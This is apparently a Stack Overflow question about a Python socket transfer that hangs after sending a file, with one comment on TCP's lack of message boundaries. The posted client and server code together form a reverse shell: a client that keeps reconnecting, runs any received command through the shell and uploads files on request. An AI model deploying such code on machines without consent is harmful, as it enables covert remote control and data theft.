0

I've been trying to transfer large files through python sockets, I can do it but it only works well if I close the connection, I want to keep the connection open and keep transfering files after that

Server:

import socket
import sys
from tqdm import tqdm

IP =
PORT =
ADDR = (IP, PORT)
SIZE = 4096
FORMAT = "utf-8"

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(ADDR)
server.listen()
print("[+] Listening...")

conn, addr = server.accept()
print(f"[+] Client connected from {addr[0]}:{addr[1]}")

#last try:

def receiver():
    file_name = conn.recv(1024).decode()
    file_size = conn.recv(1024).decode()

    with open(file_name, "wb") as file:
        c = 0
        while c <= int(file_size):
            data = conn.recv(1024)
            if not (data):
                break
            file.write(data)
            c += len(data)

def execute_rem(command):
    conn.send(command.encode(FORMAT))
    if command[0] == "exit":
        conn.close()
        server.close()
        exit()

def run():
    while True:
        command = input(">> ")
        if len(command) != 0:
            conn.send(command.encode(FORMAT))
            command = command.split(" ")
            if command[0] == "download" and len(command) == 2:
                receiver()
            else:
                result = conn.recv(SIZE)
                if result == "1":
                    continue
                else:
                    print(str(result, FORMAT))

run()

client:

import os
import sys
import socket
import time
import subprocess
from tqdm import tqdm

IP =
PORT =
ADDR = (IP, PORT)
SIZE = 4096
FORMAT = "utf-8"
WAITTIME = 10
client = 0

while True:
    try:
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.connect(ADDR)
        break
    except socket.error:
        time.sleep(WAITTIME)

def exec_comnd(command):
    cmd = subprocess.Popen(command,shell = True, stderr = subprocess.PIPE, stdout = subprocess.PIPE, stdin = subprocess.PIPE)
    byte = cmd.stdout.read()+cmd.stderr.read()
    if len(byte) == 0:
        byte = "1"
    return byte

def f_send(file_name):
    file_size = os.path.getsize(file_name)

    client.send(file_name.encode())
    client.send(str(file_size).encode())

    with open(file_name, "rb") as file:
        c = 0
        while c <= file_size:
            data = file.read(1024)
            if not (data):
                break
            client.sendall(data)
            c += len(data)

def run():
    while True:
        command = client.recv(SIZE).decode(FORMAT)
        command = command.split(" ")

        if command[0] == "exit":
            client.close()
            exit()
        elif command[0] == "cd" and len(command) == 2:
            path = command[1]
            os.chdir(path)
            client.send(("Cambio a directorio " + path).encode(FORMAT))
        elif command[0] == "download" and len(command) == 2:
            f_send(command[1])
        else:
            res_comnd = exec_comnd(command)
            client.send(res_comnd)


run()

This is my last attempt but I have tried different ways. The file gets sent but the server gets stuck until I ctl+c, after that, based on the output, server gets stuck on "data = conn.recv(1024))" (terminal output stops at "download test.jpg") and client gets stuck on "client.send(res_comnd)". I don't see why, is the only way closing the socket after the file transfer?

server output:

[+] Listening... [+] Client connected from
IP:PORT
>> download test.jpg

^CTraceback (most recent call last):   File "/home/xxxx/project/nuev/server.py", line 94, in <module>
    run()   File "/home/xxxx/project/nuev/server.py", line 84, in run
    receiver()   File "/home/xxxx/project/nuev/server.py", line 36, in receiver
    data = conn.recv(1024) KeyboardInterrupt

client output:

Traceback (most recent call last):   File "C:\Users\xxxx\Desktop\client.py", line 108, in <module>
        run()   File "C:\Users\xxxx\Desktop\client.py", line 105, in run
        client.send(res_comnd) ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine
Angel Diaz
  • 11
  • 2
  • In short: TCP knows only about a byte stream, not about messages, files etc. Because of this you cannot hope that it magically detects the end of the file - it doesn't. It will simply wait for more data since nothing said that the file is done. One possible way is to initially send the file size and then later read only this expected number of bytes. – Steffen Ullrich Jan 23 '22 at 20:52

0 Answers0